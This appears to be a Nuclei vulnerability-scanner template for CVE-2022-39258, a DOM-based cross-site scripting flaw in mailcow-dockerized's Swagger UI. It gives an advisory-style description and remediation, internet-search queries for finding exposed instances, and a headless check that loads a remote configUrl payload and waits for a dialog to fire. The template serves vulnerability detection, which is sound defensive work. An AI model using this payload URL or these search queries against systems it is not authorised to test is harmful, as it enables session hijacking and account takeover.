Mailcow Dockerized Swagger UI - Cross-Site Scripting

id: CVE-2022-39258

info:
  name: Mailcow Dockerized Swagger UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
  impact: |
    Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.
  remediation: |
    Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.
  reference:
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47
    - https://github.com/swagger-api/swagger-ui/issues/8322
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39258
    cwe-id: CWE-79
    epss-score: 0.00661
    epss-percentile: 0.49143
    cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mailcow
    product: mailcow-dockerized
    shodan-query:
      - http.component:"Swagger"
      - http.component:"swagger"
      - http.favicon.hash:"-1180440057"
    fofa-query: icon_hash="-1180440057"
    zoomeye-query: app:"Swagger UI"
  tags: cve,cve2022,headless,swagger,mailcow,xss,dom-xss,mailcow

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/api/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true
# digest: 490a0046304402201f5d08bc6e0fd2f17fd8143adf5efc455aecf71f40916bc5fad753524aa3345902206d4eca062ec9666bbd29db2c6e9e0ff14967a956f787611d4fa2673abc9de4c9:922c64590222798bb761d5b6d8e72950